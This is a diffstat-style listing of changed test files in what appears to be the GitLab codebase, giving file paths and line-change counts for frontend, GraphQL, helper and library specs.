-rw-r--r--spec/frontend/vue_shared/components/dom_element_listener_spec.js116
-rw-r--r--spec/frontend/vue_shared/components/file_icon_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js104
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js57
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js169
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js116
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js13
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/release_token_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/weight_token_spec.js38
-rw-r--r--spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap1
-rw-r--r--spec/frontend/vue_shared/components/form/input_copy_toggle_visibility_spec.js231
-rw-r--r--spec/frontend/vue_shared/components/gl_modal_vuex_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/header_ci_component_spec.js18
-rw-r--r--spec/frontend/vue_shared/components/issuable/issuable_header_warnings_spec.js89
-rw-r--r--spec/frontend/vue_shared/components/issue/issue_assignees_spec.js145
-rw-r--r--spec/frontend/vue_shared/components/issue/issue_milestone_spec.js160
-rw-r--r--spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js206
-rw-r--r--spec/frontend/vue_shared/components/line_numbers_spec.js71
-rw-r--r--spec/frontend/vue_shared/components/markdown/toolbar_spec.js39
-rw-r--r--spec/frontend/vue_shared/components/namespace_select/mock_data.js11
-rw-r--r--spec/frontend/vue_shared/components/namespace_select/namespace_select_spec.js86
-rw-r--r--spec/frontend/vue_shared/components/notes/placeholder_note_spec.js24
-rw-r--r--spec/frontend/vue_shared/components/pagination_bar/pagination_bar_spec.js93
-rw-r--r--spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js8
-rw-r--r--spec/frontend/vue_shared/components/project_selector/project_selector_spec.js5
-rw-r--r--spec/frontend/vue_shared/components/registry/metadata_item_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js10
-rw-r--r--spec/frontend/vue_shared/components/sidebar/collapsed_grouped_date_picker_spec.js103
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_title_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js2
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view_spec.js8
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view_spec.js8
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_spec.js41
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_header_spec.js17
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js5
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js77
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_widget/mock_data.js17
-rw-r--r--spec/frontend/vue_shared/components/source_viewer_spec.js59
-rw-r--r--spec/frontend/vue_shared/components/storage_counter/usage_graph_spec.js137
-rw-r--r--spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js233
-rw-r--r--spec/frontend/vue_shared/components/user_select_spec.js8
-rw-r--r--spec/frontend/vue_shared/components/vuex_module_provider_spec.js7
-rw-r--r--spec/frontend/vue_shared/gl_feature_flags_plugin_spec.js11
-rw-r--r--spec/frontend/vue_shared/issuable/create/components/issuable_create_root_spec.js64
-rw-r--r--spec/frontend/vue_shared/issuable/create/components/issuable_form_spec.js122
-rw-r--r--spec/frontend/vue_shared/issuable/list/components/issuable_bulk_edit_sidebar_spec.js97
-rw-r--r--spec/frontend/vue_shared/issuable/list/components/issuable_item_spec.js515
-rw-r--r--spec/frontend/vue_shared/issuable/list/components/issuable_list_root_spec.js479
-rw-r--r--spec/frontend/vue_shared/issuable/list/components/issuable_tabs_spec.js96
-rw-r--r--spec/frontend/vue_shared/issuable/list/mock_data.js (renamed from spec/frontend/issuable_list/mock_data.js)0
-rw-r--r--spec/frontend/vue_shared/issuable/show/components/issuable_body_spec.js236
-rw-r--r--spec/frontend/vue_shared/issuable/show/components/issuable_description_spec.js69
-rw-r--r--spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js193
-rw-r--r--spec/frontend/vue_shared/issuable/show/components/issuable_header_spec.js182
-rw-r--r--spec/frontend/vue_shared/issuable/show/components/issuable_show_root_spec.js158
-rw-r--r--spec/frontend/vue_shared/issuable/show/components/issuable_title_spec.js100
-rw-r--r--spec/frontend/vue_shared/issuable/show/mock_data.js45
-rw-r--r--spec/frontend/vue_shared/issuable/sidebar/components/issuable_sidebar_root_spec.js131
-rw-r--r--spec/frontend/vue_shared/security_reports/mock_data.js11
-rw-r--r--spec/frontend/vue_shared/translate_spec.js87
-rw-r--r--spec/frontend/work_items/components/item_title_spec.js56
-rw-r--r--spec/frontend/work_items/mock_data.js25
-rw-r--r--spec/frontend/work_items/pages/create_work_item_spec.js94
-rw-r--r--spec/frontend/work_items/pages/work_item_root_spec.js38
-rw-r--r--spec/frontend/work_items/router_spec.js7
-rw-r--r--spec/frontend_integration/ide/helpers/ide_helper.js14
-rw-r--r--spec/frontend_integration/ide/helpers/start.js4
-rw-r--r--spec/frontend_integration/ide/user_opens_ide_spec.js6
-rw-r--r--spec/frontend_integration/test_helpers/setup/index.js2
-rw-r--r--spec/frontend_integration/test_helpers/setup/setup_globals.js11
-rw-r--r--spec/graphql/mutations/merge_requests/accept_spec.rb10
-rw-r--r--spec/graphql/mutations/merge_requests/create_spec.rb5
-rw-r--r--spec/graphql/mutations/user_callouts/create_spec.rb6
-rw-r--r--spec/graphql/resolvers/board_list_issues_resolver_spec.rb12
-rw-r--r--spec/graphql/resolvers/ci/runner_status_resolver_spec.rb40
-rw-r--r--spec/graphql/resolvers/ci/runners_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/clusters/agent_activity_events_resolver_spec.rb34
-rw-r--r--spec/graphql/resolvers/container_repository_tags_resolver_spec.rb54
-rw-r--r--spec/graphql/resolvers/package_pipelines_resolver_spec.rb84
-rw-r--r--spec/graphql/resolvers/users/participants_resolver_spec.rb83
-rw-r--r--spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb12
-rw-r--r--spec/graphql/types/base_edge_spec.rb76
-rw-r--r--spec/graphql/types/boards/board_issue_input_type_spec.rb2
-rw-r--r--spec/graphql/types/ci/job_need_union_spec.rb43
-rw-r--r--spec/graphql/types/ci/job_token_scope_type_spec.rb8
-rw-r--r--spec/graphql/types/ci/job_type_spec.rb1
-rw-r--r--spec/graphql/types/clusters/agent_activity_event_type_spec.rb11
-rw-r--r--spec/graphql/types/clusters/agent_type_spec.rb2
-rw-r--r--spec/graphql/types/container_respository_tags_sort_enum_spec.rb13
-rw-r--r--spec/graphql/types/issue_type_enum_spec.rb6
-rw-r--r--spec/graphql/types/issue_type_spec.rb10
-rw-r--r--spec/graphql/types/packages/package_details_type_spec.rb9
-rw-r--r--spec/graphql/types/project_type_spec.rb2
-rw-r--r--spec/graphql/types/range_input_type_spec.rb2
-rw-r--r--spec/graphql/types/repository/blob_type_spec.rb2
-rw-r--r--spec/graphql/types/subscription_type_spec.rb1
-rw-r--r--spec/graphql/types/user_callout_feature_name_enum_spec.rb2
-rw-r--r--spec/helpers/access_tokens_helper_spec.rb49
-rw-r--r--spec/helpers/application_helper_spec.rb14
-rw-r--r--spec/helpers/auth_helper_spec.rb239
-rw-r--r--spec/helpers/badges_helper_spec.rb129
-rw-r--r--spec/helpers/ci/jobs_helper_spec.rb25
-rw-r--r--spec/helpers/ide_helper_spec.rb4
-rw-r--r--spec/helpers/invite_members_helper_spec.rb174
-rw-r--r--spec/helpers/issues_helper_spec.rb9
-rw-r--r--spec/helpers/jira_connect_helper_spec.rb12
-rw-r--r--spec/helpers/learn_gitlab_helper_spec.rb6
-rw-r--r--spec/helpers/markup_helper_spec.rb6
-rw-r--r--spec/helpers/namespaces_helper_spec.rb33
-rw-r--r--spec/helpers/nav/new_dropdown_helper_spec.rb30
-rw-r--r--spec/helpers/notify_helper_spec.rb49
-rw-r--r--spec/helpers/numbers_helper_spec.rb31
-rw-r--r--spec/helpers/packages_helper_spec.rb30
-rw-r--r--spec/helpers/projects_helper_spec.rb27
-rw-r--r--spec/helpers/routing/pseudonymization_helper_spec.rb22
-rw-r--r--spec/helpers/sorting_helper_spec.rb73
-rw-r--r--spec/helpers/tab_helper_spec.rb83
-rw-r--r--spec/helpers/time_zone_helper_spec.rb36
-rw-r--r--spec/helpers/user_callouts_helper_spec.rb315
-rw-r--r--spec/helpers/users/callouts_helper_spec.rb208
-rw-r--r--spec/helpers/users/group_callouts_helper_spec.rb87
-rw-r--r--spec/helpers/version_check_helper_spec.rb4
-rw-r--r--spec/initializers/forbid_sidekiq_in_transactions_spec.rb38
-rw-r--r--spec/initializers/lograge_spec.rb10
-rw-r--r--spec/initializers/session_store_spec.rb24
-rw-r--r--spec/initializers/validate_database_config_spec.rb3
-rw-r--r--spec/lib/after_commit_queue_spec.rb17
-rw-r--r--spec/lib/api/ci/helpers/runner_helpers_spec.rb5
-rw-r--r--spec/lib/api/entities/changelog_spec.rb17
-rw-r--r--spec/lib/api/entities/ci/pipeline_spec.rb16
-rw-r--r--spec/lib/api/entities/personal_access_token_spec.rb26
-rw-r--r--spec/lib/api/entities/plan_limit_spec.rb1
-rw-r--r--spec/lib/api/entities/project_import_failed_relation_spec.rb3
-rw-r--r--spec/lib/api/entities/project_import_status_spec.rb60
-rw-r--r--spec/lib/banzai/filter/external_link_filter_spec.rb11
-rw-r--r--spec/lib/banzai/filter/footnote_filter_spec.rb45
-rw-r--r--spec/lib/banzai/filter/issuable_reference_expansion_filter_spec.rb239
-rw-r--r--spec/lib/banzai/filter/issuable_state_filter_spec.rb201
-rw-r--r--spec/lib/banzai/filter/markdown_filter_spec.rb8
-rw-r--r--spec/lib/banzai/filter/plantuml_filter_spec.rb6
-rw-r--r--spec/lib/banzai/filter/references/issue_reference_filter_spec.rb16
-rw-r--r--spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb16
-rw-r--r--spec/lib/banzai/filter/references/reference_cache_spec.rb12
-rw-r--r--spec/lib/banzai/filter/sanitization_filter_spec.rb5
-rw-r--r--spec/lib/banzai/filter/syntax_highlight_filter_spec.rb42
-rw-r--r--spec/lib/banzai/pipeline/full_pipeline_spec.rb17
-rw-r--r--spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb2
-rw-r--r--spec/lib/banzai/reference_parser/base_parser_spec.rb8
-rw-r--r--spec/lib/banzai/render_context_spec.rb10
-rw-r--r--spec/lib/bulk_imports/clients/http_spec.rb4
-rw-r--r--spec/lib/bulk_imports/common/pipelines/badges_pipeline_spec.rb96
-rw-r--r--spec/lib/bulk_imports/common/pipelines/labels_pipeline_spec.rb10
-rw-r--r--spec/lib/bulk_imports/common/pipelines/milestones_pipeline_spec.rb10
-rw-r--r--spec/lib/bulk_imports/common/pipelines/uploads_pipeline_spec.rb127
-rw-r--r--spec/lib/bulk_imports/common/rest/get_badges_query_spec.rb36
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/badges_pipeline_spec.rb116
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/group_avatar_pipeline_spec.rb77
-rw-r--r--spec/lib/bulk_imports/groups/rest/get_badges_query_spec.rb22
-rw-r--r--spec/lib/bulk_imports/groups/stage_spec.rb8
-rw-r--r--spec/lib/bulk_imports/ndjson_pipeline_spec.rb26
-rw-r--r--spec/lib/bulk_imports/projects/graphql/get_snippet_repository_query_spec.rb58
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/auto_devops_pipeline_spec.rb52
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/ci_pipelines_pipeline_spec.rb176
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline_spec.rb40
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/pipeline_schedules_pipeline_spec.rb64
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/project_attributes_pipeline_spec.rb159
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/project_feature_pipeline_spec.rb45
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/repository_pipeline_spec.rb11
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/service_desk_setting_pipeline_spec.rb27
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/snippets_pipeline_spec.rb119
-rw-r--r--spec/lib/bulk_imports/projects/pipelines/snippets_repository_pipeline_spec.rb168
-rw-r--r--spec/lib/bulk_imports/projects/stage_spec.rb12
-rw-r--r--spec/lib/error_tracking/collector/payload_validator_spec.rb16
-rw-r--r--spec/lib/feature/definition_spec.rb72
-rw-r--r--spec/lib/feature_spec.rb109
-rw-r--r--spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb12
-rw-r--r--spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb11
-rw-r--r--spec/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher_spec.rb13
-rw-r--r--spec/lib/gitlab/anonymous_session_spec.rb14
-rw-r--r--spec/lib/gitlab/application_context_spec.rb32
-rw-r--r--spec/lib/gitlab/application_rate_limiter_spec.rb67
-rw-r--r--spec/lib/gitlab/asciidoc_spec.rb12
-rw-r--r--spec/lib/gitlab/auth/user_access_denied_reason_spec.rb1
-rw-r--r--spec/lib/gitlab/auth_spec.rb36
-rw-r--r--spec/lib/gitlab/background_migration/add_merge_request_diff_commits_count_spec.rb66
-rw-r--r--spec/lib/gitlab/background_migration/add_modified_to_approval_merge_request_rule_spec.rb61
-rw-r--r--spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb44
-rw-r--r--spec/lib/gitlab/background_migration/backfill_environment_id_deployment_merge_requests_spec.rb46
-rw-r--r--spec/lib/gitlab/background_migration/backfill_merge_request_cleanup_schedules_spec.rb53
-rw-r--r--spec/lib/gitlab/background_migration/backfill_namespace_settings_spec.rb23
-rw-r--r--spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb24
-rw-r--r--spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb32
-rw-r--r--spec/lib/gitlab/background_migration/drop_invalid_security_findings_spec.rb56
-rw-r--r--spec/lib/gitlab/background_migration/fix_promoted_epics_discussion_ids_spec.rb49
-rw-r--r--spec/lib/gitlab/background_migration/fix_user_namespace_names_spec.rb104
-rw-r--r--spec/lib/gitlab/background_migration/fix_user_project_route_names_spec.rb98
-rw-r--r--spec/lib/gitlab/background_migration/job_coordinator_spec.rb22
-rw-r--r--spec/lib/gitlab/background_migration/link_lfs_objects_projects_spec.rb113
-rw-r--r--spec/lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys_spec.rb93
-rw-r--r--spec/lib/gitlab/background_migration/migrate_pages_metadata_spec.rb36
-rw-r--r--spec/lib/gitlab/background_migration/migrate_to_hashed_storage_spec.rb43
-rw-r--r--spec/lib/gitlab/background_migration/populate_canonical_emails_spec.rb94
-rw-r--r--spec/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities_spec.rb44
-rw-r--r--spec/lib/gitlab/background_migration/populate_has_vulnerabilities_spec.rb63
-rw-r--r--spec/lib/gitlab/background_migration/populate_merge_request_assignees_table_spec.rb70
-rw-r--r--spec/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information_spec.rb65
-rw-r--r--spec/lib/gitlab/background_migration/populate_personal_snippet_statistics_spec.rb141
-rw-r--r--spec/lib/gitlab/background_migration/populate_project_snippet_statistics_spec.rb224
-rw-r--r--spec/lib/gitlab/background_migration/recalculate_project_authorizations_with_min_max_user_id_spec.rb38
-rw-r--r--spec/lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb175
-rw-r--r--spec/lib/gitlab/background_migration/remove_vulnerability_finding_links_spec.rb66
-rw-r--r--spec/lib/gitlab/background_migration/replace_blocked_by_links_spec.rb42
-rw-r--r--spec/lib/gitlab/background_migration/reset_merge_status_spec.rb48
-rw-r--r--spec/lib/gitlab/background_migration/reset_shared_runners_for_transferred_projects_spec.rb35
-rw-r--r--spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb51
-rw-r--r--spec/lib/gitlab/background_migration/update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb46
-rw-r--r--spec/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth_spec.rb74
-rw-r--r--spec/lib/gitlab/background_migration/update_timelogs_null_spent_at_spec.rb40
-rw-r--r--spec/lib/gitlab/background_migration/user_mentions/create_resource_user_mention_spec.rb15
-rw-r--r--spec/lib/gitlab/background_migration_spec.rb5
-rw-r--r--spec/lib/gitlab/bitbucket_server_import/importer_spec.rb16
-rw-r--r--spec/lib/gitlab/ci/build/context/build_spec.rb22
-rw-r--r--spec/lib/gitlab/ci/build/context/global_spec.rb22
-rw-r--r--spec/lib/gitlab/ci/build/policy/variables_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/build/rules/rule/clause/changes_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/build/rules/rule_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/build/rules_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/config/entry/bridge_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/config/entry/job_spec.rb29
-rw-r--r--spec/lib/gitlab/ci/config/entry/processable_spec.rb29
-rw-r--r--spec/lib/gitlab/ci/config/entry/tags_spec.rb22
-rw-r--r--spec/lib/gitlab/ci/config/external/context_spec.rb18
-rw-r--r--spec/lib/gitlab/ci/config/external/processor_spec.rb13
-rw-r--r--spec/lib/gitlab/ci/config/external/rules_spec.rb6
-rw-r--r--spec/lib/gitlab/ci/parsers/terraform/tfplan_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb97
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/create_spec.rb70
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/ensure_environments_spec.rb94
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/ensure_resource_groups_spec.rb85
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb18
-rw-r--r--spec/lib/gitlab/ci/pipeline/expression/lexeme/variable_spec.rb25
-rw-r--r--spec/lib/gitlab/ci/pipeline/expression/statement_spec.rb1
-rw-r--r--spec/lib/gitlab/ci/pipeline/logger_spec.rb132
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/build_spec.rb83
-rw-r--r--spec/lib/gitlab/ci/status/bridge/common_spec.rb10
-rw-r--r--spec/lib/gitlab/ci/tags/bulk_insert_spec.rb39
-rw-r--r--spec/lib/gitlab/ci/variables/builder_spec.rb10
-rw-r--r--spec/lib/gitlab/ci/yaml_processor_spec.rb6
-rw-r--r--spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb2
-rw-r--r--spec/lib/gitlab/config/entry/undefined_spec.rb6
-rw-r--r--spec/lib/gitlab/content_security_policy/config_loader_spec.rb48
-rw-r--r--spec/lib/gitlab/contributions_calendar_spec.rb38
-rw-r--r--spec/lib/gitlab/daemon_spec.rb24
-rw-r--r--spec/lib/gitlab/database/async_indexes/index_creator_spec.rb17
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_job_spec.rb12
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_migration_spec.rb38
-rw-r--r--spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb16
-rw-r--r--spec/lib/gitlab/database/count/tablesample_count_strategy_spec.rb8
-rw-r--r--spec/lib/gitlab/database/load_balancing/configuration_spec.rb9
-rw-r--r--spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb18
-rw-r--r--spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb8
-rw-r--r--spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb115
-rw-r--r--spec/lib/gitlab/database/load_balancing/sticking_spec.rb17
-rw-r--r--spec/lib/gitlab/database/load_balancing_spec.rb18
-rw-r--r--spec/lib/gitlab/database/loose_foreign_keys_spec.rb45
-rw-r--r--spec/lib/gitlab/database/migration_helpers/loose_foreign_key_helpers_spec.rb9
-rw-r--r--spec/lib/gitlab/database/migration_helpers_spec.rb2
-rw-r--r--spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb231
-rw-r--r--spec/lib/gitlab/database/migrations/batched_background_migration_helpers_spec.rb164
-rw-r--r--spec/lib/gitlab/database/migrations/instrumentation_spec.rb17
-rw-r--r--spec/lib/gitlab/database/migrations/observers/query_details_spec.rb4
-rw-r--r--spec/lib/gitlab/database/migrations/observers/query_log_spec.rb4
-rw-r--r--spec/lib/gitlab/database/migrations/observers/query_statistics_spec.rb4
-rw-r--r--spec/lib/gitlab/database/migrations/observers/total_database_size_change_spec.rb4
-rw-r--r--spec/lib/gitlab/database/migrations/observers/transaction_duration_spec.rb9
-rw-r--r--spec/lib/gitlab/database/migrations/runner_spec.rb4
-rw-r--r--spec/lib/gitlab/database/partitioning/detached_partition_dropper_spec.rb12
-rw-r--r--spec/lib/gitlab/database/partitioning/partition_manager_spec.rb28
-rw-r--r--spec/lib/gitlab/database/partitioning/single_numeric_list_partition_spec.rb50
-rw-r--r--spec/lib/gitlab/database/partitioning/sliding_list_strategy_spec.rb214
-rw-r--r--spec/lib/gitlab/database/query_analyzer_spec.rb9
-rw-r--r--spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb2
-rw-r--r--spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb62
-rw-r--r--spec/lib/gitlab/database/reindexing/coordinator_spec.rb10
-rw-r--r--spec/lib/gitlab/database/reindexing_spec.rb74
-rw-r--r--spec/lib/gitlab/database/shared_model_spec.rb12
-rw-r--r--spec/lib/gitlab/database/type/json_pg_safe_spec.rb26
-rw-r--r--spec/lib/gitlab/diff/custom_diff_spec.rb62
-rw-r--r--spec/lib/gitlab/diff/file_spec.rb6
-rw-r--r--spec/lib/gitlab/diff/highlight_spec.rb14
-rw-r--r--spec/lib/gitlab/email/handler/create_issue_handler_spec.rb11
-rw-r--r--spec/lib/gitlab/email/handler/service_desk_handler_spec.rb127
-rw-r--r--spec/lib/gitlab/email/hook/smime_signature_interceptor_spec.rb1
-rw-r--r--spec/lib/gitlab/email/service_desk_receiver_spec.rb34
-rw-r--r--spec/lib/gitlab/empty_search_results_spec.rb31
-rw-r--r--spec/lib/gitlab/error_tracking_spec.rb10
-rw-r--r--spec/lib/gitlab/etag_caching/store_spec.rb14
-rw-r--r--spec/lib/gitlab/exception_log_formatter_spec.rb57
-rw-r--r--spec/lib/gitlab/experimentation/controller_concern_spec.rb2
-rw-r--r--spec/lib/gitlab/experimentation/experiment_spec.rb1
-rw-r--r--spec/lib/gitlab/git/diff_stats_collection_spec.rb2
-rw-r--r--spec/lib/gitlab/git/rugged_impl/use_rugged_spec.rb2
-rw-r--r--spec/lib/gitlab/git/tree_spec.rb10
-rw-r--r--spec/lib/gitlab/gitaly_client/commit_service_spec.rb43
-rw-r--r--spec/lib/gitlab/gitaly_client/conflict_files_stitcher_spec.rb4
-rw-r--r--spec/lib/gitlab/gitaly_client/diff_stitcher_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/client_spec.rb71
-rw-r--r--spec/lib/gitlab/github_import/importer/diff_note_importer_spec.rb27
-rw-r--r--spec/lib/gitlab/github_import/importer/note_importer_spec.rb2
-rw-r--r--spec/lib/gitlab/github_import/parallel_importer_spec.rb5
-rw-r--r--spec/lib/gitlab/gon_helper_spec.rb2
-rw-r--r--spec/lib/gitlab/gpg/invalid_gpg_signature_updater_spec.rb2
-rw-r--r--spec/lib/gitlab/grape_logging/loggers/exception_logger_spec.rb4
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb6
-rw-r--r--spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb6
-rw-r--r--spec/lib/gitlab/graphql/tracers/logger_tracer_spec.rb14
-rw-r--r--spec/lib/gitlab/graphql/tracers/metrics_tracer_spec.rb12
-rw-r--r--spec/lib/gitlab/graphql/tracers/timer_tracer_spec.rb13
-rw-r--r--spec/lib/gitlab/hook_data/merge_request_builder_spec.rb1
-rw-r--r--spec/lib/gitlab/import/import_failure_service_spec.rb83
-rw-r--r--spec/lib/gitlab/import/set_async_jid_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/all_models.yml5
-rw-r--r--spec/lib/gitlab/import_export/attributes_permitter_spec.rb7
-rw-r--r--spec/lib/gitlab/import_export/project/tree_restorer_spec.rb6
-rw-r--r--spec/lib/gitlab/import_export/safe_model_attributes.yml2
-rw-r--r--spec/lib/gitlab/lets_encrypt/client_spec.rb4
-rw-r--r--spec/lib/gitlab/lograge/custom_options_spec.rb50
-rw-r--r--spec/lib/gitlab/merge_requests/commit_message_generator_spec.rb290
-rw-r--r--spec/lib/gitlab/merge_requests/merge_commit_message_spec.rb219
-rw-r--r--spec/lib/gitlab/merge_requests/mergeability/redis_interface_spec.rb8
-rw-r--r--spec/lib/gitlab/metrics/exporter/base_exporter_spec.rb4
-rw-r--r--spec/lib/gitlab/metrics/exporter/sidekiq_exporter_spec.rb38
-rw-r--r--spec/lib/gitlab/metrics/samplers/database_sampler_spec.rb161
-rw-r--r--spec/lib/gitlab/metrics/subscribers/active_record_spec.rb1
-rw-r--r--spec/lib/gitlab/multi_collection_paginator_spec.rb2
-rw-r--r--spec/lib/gitlab/pagination/keyset/order_spec.rb2
-rw-r--r--spec/lib/gitlab/pagination/offset_pagination_spec.rb37
-rw-r--r--spec/lib/gitlab/patch/legacy_database_config_spec.rb3
-rw-r--r--spec/lib/gitlab/process_management_spec.rb144
-rw-r--r--spec/lib/gitlab/quick_actions/dsl_spec.rb4
-rw-r--r--spec/lib/gitlab/rack_attack_spec.rb12
-rw-r--r--spec/lib/gitlab/rate_limit_helpers_spec.rb50
-rw-r--r--spec/lib/gitlab/redis/multi_store_spec.rb268
-rw-r--r--spec/lib/gitlab/redis/sessions_spec.rb87
-rw-r--r--spec/lib/gitlab/regex_spec.rb48
-rw-r--r--spec/lib/gitlab/relative_positioning/range_spec.rb18
-rw-r--r--spec/lib/gitlab/repository_archive_rate_limiter_spec.rb56
-rw-r--r--spec/lib/gitlab/saas_spec.rb13
-rw-r--r--spec/lib/gitlab/search/abuse_detection_spec.rb114
-rw-r--r--spec/lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator_spec.rb35
-rw-r--r--spec/lib/gitlab/search/abuse_validators/no_abusive_term_length_validator_spec.rb71
-rw-r--r--spec/lib/gitlab/search/params_spec.rb136
-rw-r--r--spec/lib/gitlab/security/scan_configuration_spec.rb64
-rw-r--r--spec/lib/gitlab/sidekiq_enq_spec.rb93
-rw-r--r--spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb6
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb2
-rw-r--r--spec/lib/gitlab/sidekiq_status/client_middleware_spec.rb21
-rw-r--r--spec/lib/gitlab/sidekiq_status_spec.rb69
-rw-r--r--spec/lib/gitlab/spamcheck/client_spec.rb24
-rw-r--r--spec/lib/gitlab/subscription_portal_spec.rb2
-rw-r--r--spec/lib/gitlab/tracking/destinations/snowplow_micro_spec.rb20
-rw-r--r--spec/lib/gitlab/tracking/destinations/snowplow_spec.rb2
-rw-r--r--spec/lib/gitlab/tracking_spec.rb6
-rw-r--r--spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb9
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/snowplow_configured_to_gitlab_collector_metric_spec.rb22
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/snowplow_enabled_metric_spec.rb22
-rw-r--r--spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb28
-rw-r--r--spec/lib/gitlab/usage_data_spec.rb368
-rw-r--r--spec/lib/gitlab/utils/usage_data_spec.rb151
-rw-r--r--spec/lib/gitlab/utils_spec.rb12
-rw-r--r--spec/lib/google_api/cloud_platform/client_spec.rb43
-rw-r--r--spec/lib/sidebars/concerns/link_with_html_options_spec.rb39
-rw-r--r--spec/lib/sidebars/groups/menus/packages_registries_menu_spec.rb59
-rw-r--r--spec/lib/sidebars/menu_spec.rb19
-rw-r--r--spec/lib/sidebars/projects/menus/shimo_menu_spec.rb44
-rw-r--r--spec/lib/version_check_spec.rb60
-rw-r--r--spec/mailers/emails/in_product_marketing_spec.rb47
-rw-r--r--spec/mailers/notify_spec.rb68
-rw-r--r--spec/metrics_server/metrics_server_spec.rb109
-rw-r--r--spec/migrations/20210713042000_fix_ci_sources_pipelines_index_names_spec.rb67
